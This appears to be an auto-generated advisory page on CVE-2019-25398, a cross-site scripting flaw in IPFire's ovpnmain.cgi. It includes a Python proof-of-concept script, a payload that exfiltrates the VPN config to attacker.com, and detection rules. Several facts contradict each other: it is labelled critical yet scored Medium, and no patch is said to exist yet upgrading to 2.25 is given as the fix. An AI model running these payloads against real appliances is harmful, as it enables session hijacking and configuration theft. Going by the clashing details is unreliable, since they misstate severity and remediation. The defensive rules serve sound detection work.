CVE-2019-25398
Executive Summary
CVE-2019-25398 is a critical cross-site scripting (XSS) vulnerability in IPFire 2.21 Core Update 127, specifically within the ovpnmain.cgi script. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into the administrator's browser session by submitting crafted POST requests to the VPN configuration interface. The vulnerability affects multiple parameters including VPN_IP, DMTU, ccdname, ccdsubnet, DOVPN_SUBNET, DHCP_DOMAIN, DHCP_DNS, DHCP_WINS, ROUTES_PUSH, FRAGMENT, KEEPALIVE_1, and KEEPALIVE_2. Successful exploitation could lead to session hijacking, credential theft, or further compromise of the IPFire firewall appliance. No official patch has been released, making this a high-priority issue for administrators still running the affected version.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in the IPFire firewall distribution. No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must be an authenticated admin browsing the VPN config page
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – limited data exposure via XSS
- Integrity Impact: Low (I:L) – script execution can modify page content
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the ability to target administrative interfaces elevates the risk for organizations still using IPFire 2.21 Core Update 127.
Deep Dive & Mechanics
The vulnerability resides in the ovpnmain.cgi CGI script, which handles OpenVPN configuration management. The script fails to properly sanitize user-supplied input before reflecting it back in the HTML response. An attacker can craft a POST request to the vulnerable endpoint with malicious JavaScript embedded in any of the listed parameters. When an administrator views the VPN configuration page (e.g., after submitting a form or navigating to the settings), the injected script executes in the context of the admin's browser session.
Key Parameters Vulnerable:
VPN_IPDMTUccdnameccdsubnetDOVPN_SUBNETDHCP_DOMAINDHCP_DNSDHCP_WINSROUTES_PUSHFRAGMENTKEEPALIVE_1KEEPALIVE_2
Attack Flow:
- Attacker identifies an IPFire instance running version 2.21 Core Update 127.
- Attacker sends a POST request to
/cgi-bin/ovpnmain.cgiwith a payload like<script>alert('XSS')</script>in theVPN_IPparameter. - The script stores the malicious input in the VPN configuration database.
- When an administrator accesses the VPN settings page, the payload is rendered and executed.
- The attacker can then steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.
Vulnerable vs. Patched Code
Vulnerable Code (IPFire 2.21 Core Update 127):
The ovpnmain.cgi script directly outputs user input without sanitization. For example:
print "<input type='text' name='VPN_IP' value='$vpn_ip'>";
Where $vpn_ip is taken directly from the POST request.
Patched Code (Hypothetical Fix): A proper fix would use HTML entity encoding:
use CGI qw(escapeHTML);
print "<input type='text' name='VPN_IP' value='" . escapeHTML($vpn_ip) . "'>";
Or use a templating engine that auto-escapes output. No official patch has been released.
Exploitation & Lab Setup
Red Team (Offensive)
Proof-of-Concept Exploit:
import requests
target = "https://target-ipfire:444/cgi-bin/ovpnmain.cgi"
payload = "<script>alert('XSS')</script>"
data = {
"VPN_IP": payload,
"DMTU": "1500",
"ccdname": "test",
"ccdsubnet": "192.168.1.0/24",
"DOVPN_SUBNET": "10.0.0.0/24",
"DHCP_DOMAIN": "local",
"DHCP_DNS": "8.8.8.8",
"DHCP_WINS": "10.0.0.2",
"ROUTES_PUSH": "192.168.2.0/24",
"FRAGMENT": "1400",
"KEEPALIVE_1": "10",
"KEEPALIVE_2": "60"
}
response = requests.post(target, data=data, verify=False)
print(f"Payload sent. Status: {response.status_code}")
Usage:
- Replace
targetwith the IPFire admin URL (default port 444). - Run the script to inject the XSS payload.
- Wait for an admin to view the VPN configuration page.
Advanced Payload:
<script>
fetch('/cgi-bin/ovpnmain.cgi?action=export&file=config')
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(d)));
</script>
Blue Team (Defensive)
Detection Steps:
- Monitor HTTP POST requests to
/cgi-bin/ovpnmain.cgifor suspicious parameters containing<script>,onerror,javascript:, or base64-encoded payloads. - Review web server logs for unusual parameter values in
VPN_IP,DMTU, etc. - Check for unexpected outbound connections from the IPFire admin interface to external IPs.
Mitigation:
- Upgrade to a newer IPFire version (2.25 or later) if available.
- Apply a WAF rule to block XSS patterns in POST parameters.
- Restrict admin interface access to trusted IPs only.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/cgi-bin/ovpnmain.cgiwith parameters containing<script>tags. - Outbound HTTP/HTTPS connections from IPFire to unknown external IPs on port 80/443.
- POST requests to
- File IOCs:
- Modified VPN configuration files in
/var/ipfire/ovpn/containing JavaScript payloads.
- Modified VPN configuration files in
- Log IOCs:
- Apache access logs showing
POST /cgi-bin/ovpnmain.cgiwithVPN_IP=<script>entries. - System logs showing unexpected
wgetorcurlcommands from the admin session.
- Apache access logs showing
Detection Engineering
YARA Rule
rule CVE_2019_25398_XSS_IPFire {
meta:
description = "Detects XSS payloads in IPFire ovpnmain.cgi POST parameters"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2019-25398"
strings:
$xss1 = /VPN_IP=.*<script>/
$xss2 = /DMTU=.*<script>/
$xss3 = /ccdname=.*<script>/
$xss4 = /ccdsubnet=.*<script>/
$xss5 = /DOVPN_SUBNET=.*<script>/
$xss6 = /DHCP_DOMAIN=.*<script>/
$xss7 = /DHCP_DNS=.*<script>/
$xss8 = /DHCP_WINS=.*<script>/
$xss9 = /ROUTES_PUSH=.*<script>/
$xss10 = /FRAGMENT=.*<script>/
$xss11 = /KEEPALIVE_1=.*<script>/
$xss12 = /KEEPALIVE_2=.*<script>/
condition:
any of ($xss*)
}
Sigma Rule
title: IPFire ovpnmain.cgi XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in POST requests to IPFire ovpnmain.cgi
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/ovpnmain.cgi'
cs-uri-query|contains:
- 'VPN_IP=<script>'
- 'DMTU=<script>'
- 'ccdname=<script>'
- 'ccdsubnet=<script>'
- 'DOVPN_SUBNET=<script>'
- 'DHCP_DOMAIN=<script>'
- 'DHCP_DNS=<script>'
- 'DHCP_WINS=<script>'
- 'ROUTES_PUSH=<script>'
- 'FRAGMENT=<script>'
- 'KEEPALIVE_1=<script>'
- 'KEEPALIVE_2=<script>'
condition: selection
falsepositives:
- Legitimate use of script tags in VPN config (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET 444 (msg:"CVE-2019-25398 IPFire ovpnmain.cgi XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/ovpnmain.cgi"; http_uri; content:"VPN_IP"; http_client_body; pcre:"/(VPN_IP|DMTU|ccdname|ccdsubnet|DOVPN_SUBNET|DHCP_DOMAIN|DHCP_DNS|DHCP_WINS|ROUTES_PUSH|FRAGMENT|KEEPALIVE_1|KEEPALIVE_2)=.*<script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade IPFire: If possible, upgrade to IPFire 2.25 or later, which includes security fixes for this and other vulnerabilities.
- Restrict Access: Limit admin interface access to trusted IPs using firewall rules.
- WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS patterns in POST parameters.
- Input Validation: Manually patch
ovpnmain.cgito sanitize all user inputs using HTML entity encoding.
Long-Term Fix:
- The vendor should release an official patch that properly escapes output in
ovpnmain.cgi. - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Workaround:
- Disable the VPN configuration web interface if not needed.
- Use SSH-based VPN management instead of the web UI.
Valters IT